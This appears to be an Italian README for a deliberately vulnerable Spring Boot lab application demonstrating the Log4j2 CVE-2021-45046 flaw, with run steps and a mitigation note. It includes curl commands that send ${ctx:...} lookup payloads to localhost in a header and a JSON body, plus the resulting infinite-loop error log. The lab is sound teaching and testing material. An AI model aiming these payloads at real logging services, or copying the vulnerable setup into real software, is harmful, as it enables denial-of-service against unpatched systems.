Applicazione di esempio vulnerabile a Log4j2 (CVE-2021-45046)

Versioni coinvolte: tutte le versioni dalla 2.0-beta9 alla 2.15.0

Questa applicazione è basata su un'applicazione web Spring Boot vulnerabile a CVE-2021-45046

Usa Log4j 2.14.1 (tramite spring-boot-starter-log4j2 2.6.1).

Esecuzione dell'applicazione

Eseguila:

Importa il progetto in un IDE Java come progetto maven

Esegui CVEMainApplication.java come applicazione Spring Boot.

Passaggi per lo sfruttamento

Quindi, attiva l'exploit usando:

Per GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


Per richiesta POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'

Nota l'output che mostra un ciclo infinito, tuttavia nei test non abbiamo riscontrato che questo DoS sia dispendioso in termini di risorse poiché questo ciclo infinito viene identificato dal programma e termina con un errore:


${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)

Mitigazione :

Log4j 2.16.0 risolve questo problema rimuovendo il supporto per i pattern di lookup nei messaggi e disabilitando JNDI per impostazione predefinita

log4j2-CVE-2021-45046

Più Popolari